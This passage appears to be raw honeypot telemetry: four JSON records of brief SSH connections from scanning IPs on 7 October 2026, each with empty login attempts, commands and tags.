}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e565671dde5f",
"src_ip": "24.94.185.220",
"start_time": "2026-10-07T19:42:29.986764Z",
"end_time": "2026-10-07T19:42:29.990312Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "73e2a67b4d09",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:42:25.321494Z",
"end_time": "2026-10-07T19:44:25.328323Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "8ed609c7aa89",
"src_ip": "31.184.195.246",
"start_time": "2026-10-07T19:40:45.681565Z",
"end_time": "2026-10-07T19:40:45.867990Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "febad8e14fc6",
"src_ip": "218.23.192.91",
"start_time": "2026-10-07T19:39:23.612619Z",
"end_time": "2026-10-07T19:41:23.636685Z",
"duration": "120.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 10,
"tags": []
}